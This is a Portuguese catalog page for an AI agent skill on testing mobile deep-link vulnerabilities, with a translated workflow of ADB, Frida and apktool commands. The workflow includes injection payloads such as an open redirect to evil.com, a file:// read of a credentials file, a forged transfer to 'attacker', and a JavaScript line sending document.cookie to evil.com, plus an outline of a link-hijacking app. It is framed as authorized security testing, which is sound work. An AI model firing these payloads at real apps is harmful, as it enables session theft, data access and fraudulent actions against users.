Pular para o conteúdo
Skillpedia
Diversos35 mil · #5742

exploiting-deeplink-vulnerabilities

Ajuda seu agente a testar e explorar vulnerabilidades de deep link em aplicativos móveis.

O que ela faz

Esta ferramenta ajuda a encontrar falhas de segurança em como aplicativos de celular (Android e iOS) abrem links especiais. Ela verifica se é possível acessar informações indevidas, injetar dados ou redirecionar o usuário para sites perigosos através desses links.

Quando usar

  • ✓Ao testar a segurança de links que abrem aplicativos específicos.
  • ✓Quando se verifica se um link pode ser interceptado por outro aplicativo.
  • ✓Para checar se links que deveriam abrir um site específico no app abrem em outro lugar.

Exemplo do que pedir para a IA

“Verifique se o aplicativo X é seguro contra links maliciosos que tentam roubar dados.”

Quer saber mais? Abra as seções abaixo.

Como usar

O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.

Link da skill

https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/exploiting-deeplink-vulnerabilities/SKILL.md

Mensagem pronta para colar

Use esta skill para me ajudar: https://github.com/mukul975/Anthropic-Cybersecurity-Skills/blob/main/skills/exploiting-deeplink-vulnerabilities/SKILL.md Leia o arquivo SKILL.md desse link e siga as instruções dele na minha tarefa.
Como funciona

A ferramenta analisa como o aplicativo lida com links especiais (como 'meuapp://') e links da web configurados para abrir o app. Ela tenta enviar informações maliciosas nesses links para ver se o aplicativo reage de forma insegura.

Instalação

Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.

No terminal (Claude Code, Codex, Cursor), na pasta do projeto:

npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill exploiting-deeplink-vulnerabilities

Ou baixe só o arquivo:

curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/exploiting-deeplink-vulnerabilities/SKILL.md -o SKILL.md
Conteúdo técnico (SKILL.md)

Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.

Explorando Vulnerabilidades de Deep Link

Quando Usar

Use esta habilidade quando:

  • Avaliando o tratamento de deep links de aplicativos móveis para vulnerabilidades de injeção e redirecionamento
  • Testando filtros de intenção do Android e manipuladores de esquema de URL do iOS para acesso não autorizado
  • Avaliando a verificação de App Links (Android) e Universal Links (iOS)
  • Testando o sequestro de links por meio de registros de aplicativos concorrentes

Não use sem autorização -- a exploração de deep links pode acionar ações não intencionais em aplicativos de destino.

Pré-requisitos

  • Dispositivo Android com ADB ou dispositivo iOS com Objection/Frida
  • APK descompilado com apktool ou JADX para análise do AndroidManifest.xml
  • Conhecimento dos esquemas de URL registrados e filtros de intenção do aplicativo de destino
  • Drozer para testes de intenção do Android
  • Burp Suite para interceptar chamadas de API acionadas por deep link

Fluxo de Trabalho

Passo 1: Enumerar Pontos de Entrada de Deep Link

Android - Extrair do AndroidManifest.xml:

# Decompile APK
apktool d target.apk -o decompiled/

# Search for intent filters with deep link schemes
grep -A 10 "android.intent.action.VIEW" decompiled/AndroidManifest.xml

# Look for:
# <data android:scheme="myapp" android:host="action" />
# <data android:scheme="https" android:host="target.com" />

iOS - Extrair do Info.plist:

# Extract URL schemes
plutil -p Payload/TargetApp.app/Info.plist | grep -A 5 "CFBundleURLSchemes"

# Extract Universal Links (Associated Domains)
plutil -p Payload/TargetApp.app/Info.plist | grep -A 5 "com.apple.developer.associated-domains"
# Check: applinks:target.com

# Verify apple-app-site-association file
curl https://target.com/.well-known/apple-app-site-association

Passo 2: Testar Injeção de Deep Link

Android via ADB:

# Basic deep link invocation
adb shell am start -a android.intent.action.VIEW \
  -d "myapp://dashboard?user_id=1337" com.target.app

# Test with injection payloads
adb shell am start -a android.intent.action.VIEW \
  -d "myapp://profile?redirect=https://evil.com" com.target.app

# Test path traversal
adb shell am start -a android.intent.action.VIEW \
  -d "myapp://navigate?path=../../../admin" com.target.app

# Test JavaScript injection (if loaded in WebView)
adb shell am start -a android.intent.action.VIEW \
  -d "myapp://webview?url=javascript:alert(document.cookie)" com.target.app

# Test with extra intent parameters
adb shell am start -a android.intent.action.VIEW \
  -d "myapp://transfer?amount=1000&to=attacker" \
  --es extra_param "injected_value" com.target.app

iOS via Safari ou linha de comando:

# Trigger URL scheme from Safari
# Navigate to: myapp://dashboard?user_id=1337

# Using Frida to invoke
frida -U -n TargetApp -e '
ObjC.classes.UIApplication.sharedApplication()
  .openURL_(ObjC.classes.NSURL.URLWithString_("myapp://profile?redirect=https://evil.com"));
'

Passo 3: Testar Sequestro de Link

Android:

# Create a malicious app that registers the same URL scheme
# AndroidManifest.xml of attacker app:
# <intent-filter>
#   <action android:name="android.intent.action.VIEW" />
#   <category android:name="android.intent.category.DEFAULT" />
#   <category android:name="android.intent.category.BROWSABLE" />
#   <data android:scheme="myapp" />
# </intent-filter>

# When both apps are installed, Android shows a chooser dialog
# On older Android versions, the first-installed app may handle the link

# Check App Links verification (prevents hijacking)
adb shell pm get-app-links com.target.app
# Status: verified = secure
# Status: undefined = vulnerable to hijacking

Passo 4: Testar Carregamento de Deep Link em WebView

# If deep links load URLs in WebView, test for:
# 1. Open redirect
adb shell am start -d "myapp://open?url=https://evil.com" com.target.app

# 2. File access
adb shell am start -d "myapp://open?url=file:///data/data/com.target.app/shared_prefs/creds.xml"

# 3. JavaScript execution in WebView
adb shell am start -d "myapp://open?url=javascript:fetch('https://evil.com/steal?cookie='+document.cookie)"

Passo 5: Avaliar Validação de Parâmetros

Teste cada parâmetro de deep link para:

  • Injeção de SQL em parâmetros que consultam bancos de dados locais
  • Travessia de diretório em parâmetros de caminho de arquivo
  • SSRF em parâmetros de URL que acionam requisições do servidor
  • Bypass de autenticação via parâmetros user_id ou session

Conceitos Chave

Termo Definição
Esquema de URL Personalizado Protocolo registrado pelo aplicativo (myapp://) que direciona para manipuladores específicos do aplicativo quando invocado

…

Perguntas frequentes

O que é um 'deep link'?

É um tipo de link que, em vez de abrir uma página na web, abre diretamente uma tela específica dentro de um aplicativo no seu celular.

O que é 'intent hijacking'?

É quando um aplicativo malicioso consegue 'roubar' um link especial que deveria ir para um aplicativo legítimo, interceptando-o e abrindo no aplicativo do criminoso.

Preciso de conhecimento técnico para usar?

Sim, é preciso ter familiaridade com ferramentas de linha de comando e entender como os aplicativos funcionam internamente para usar esta ferramenta de forma eficaz.

Detalhes

Descrição original do autor

Tests and exploits deep link (URL scheme and App Link) vulnerabilities in Android and iOS mobile applications to identify unauthorized access, data injection, intent hijacking, and redirect manipulation. Use when assessing mobile app attack surface through custom URI schemes, Android App Links, iOS Universal Links, or intent-based navigation. Activates for requests involving deep link security tes

repo: mukul975/Anthropic-Cybersecurity-Skills

Popularidade

Estrelas no GitHub
35 mil
Posição no ranking
#5742
Licença
Apache-2.0
Atualizada em
31/08/2026

Essa skill é útil?

0

Entre para votar.

Comentários

  • …

Mais skills deste repositório

Skills parecidas